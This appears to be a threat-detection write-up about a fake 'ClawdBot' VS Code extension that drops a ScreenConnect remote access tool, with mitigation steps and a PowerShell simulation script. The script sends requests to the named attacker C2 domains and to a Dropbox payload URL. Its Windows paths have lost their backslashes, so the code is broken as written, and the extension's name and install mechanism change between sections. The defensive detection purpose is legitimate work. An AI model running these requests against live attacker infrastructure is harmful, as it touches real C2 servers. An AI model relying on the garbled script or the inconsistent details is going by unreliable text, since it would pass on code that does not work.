Fake ClowdBot VS Code Extension Drops ScreenConnect RAT

Summary

A malicious Visual Studio Code extension called ClawdBot Agent poses as an AI coding assistant but covertly installs a weaponized ScreenConnect remote access tool on Windows when VS Code launches. On startup, the extension pulls a configuration file from an attacker-controlled domain, then downloads and runs a fake VS Code binary (Code.exe) along with supporting DLLs. As a secondary delivery path, it can fetch the same installer from a Dropbox link to maintain payload availability. The campaign abuses a trusted IT support tool to blend into legitimate remote-administration activity and reduce suspicion.

Investigation

Researchers acquired the extension’s package.json, confirmed activation on VS Code startup, and retrieved the remote JSON configuration listing the malicious components. Binary analysis showed signed ScreenConnect modules that beaconed to a custom relay server. Additional fallback logic was found in JavaScript and PowerShell, referencing secondary domains and Dropbox-hosted payloads. On-disk artifacts were observed under the %TEMP%\Lightshot folder.

Mitigation

Remove the ClawdBot Agent extension from VS Code and delete remaining files from the ScreenConnect install location and the %TEMP%\Lightshot directory. Uninstall the ScreenConnect client service and block outbound connectivity to the identified relay domains and IPs. Rotate any API keys or secrets that may have been entered into the extension.

Response

Detect the malicious extension by monitoring VS Code extension installs and creation of the Lightshot directory. Alert on execution of Code.exe or ScreenConnect binaries from non-standard paths and on outbound connections to meeting.bulletmailer.net:8041 or the associated IP address. Perform host forensics to confirm persistence removal and identify any additional payloads.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Attack Narrative & Commands

1. Attacker publishes a trojanized VS Code extension titled “Clawdbot Helper”.
2. Victim installs the extension via the VS Code Marketplace, which runs a postinstall script that silently drops the ScreenConnect client (ScreenConnect.Client.exe) into %APPDATA%ScreenConnect.
3. Immediately after installation, the client initiates three outbound TCP connections to the attacker‑controlled C2 domains to retrieve additional payloads and report host status.
4. The outbound connections generate Sysmon Event ID 3 records matching the dest_ip list, satisfying the detection rule.

Regression Test Script

# --------------------------------------------------------------
# Simulated malicious VS Code extension post‑install routine
# --------------------------------------------------------------

# Step 1 – Drop a dummy ScreenConnect binary (simulated)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# Create a harmless placeholder binary (e.g., a copy of notepad.exe)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force

# Step 2 – Fire outbound connections to each C2 host
$c2Hosts = @(
    "http://meeting.bulletmailer.net/collect",
    "http://clawdbot.getintwopc.site/payload",
    "https://www.dropbox.com/s/evilpayload.exe"
)

foreach ($url in $c2Hosts) {
    try {
        # Silent web request; -UseBasicParsing avoids UI prompts
        Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
        Write-Host "Contacted $url"
    } catch {
        Write-Host "Failed to contact $url (expected in a sandbox)."
    }
}

# End of script – at this point Sysmon should have logged three
# NetworkConnect events whose DestinationIp values match the rule.

Cleanup Commands

# --------------------------------------------------------------
# Remove simulated artifacts
# --------------------------------------------------------------

# Stop any lingering PowerShell jobs (none in this simple script)
Get-Job | Remove-Job -Force

# Delete the dummy ScreenConnect client folder
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force

# Optionally clear the Sysmon buffer (requires admin)
# sysmon -c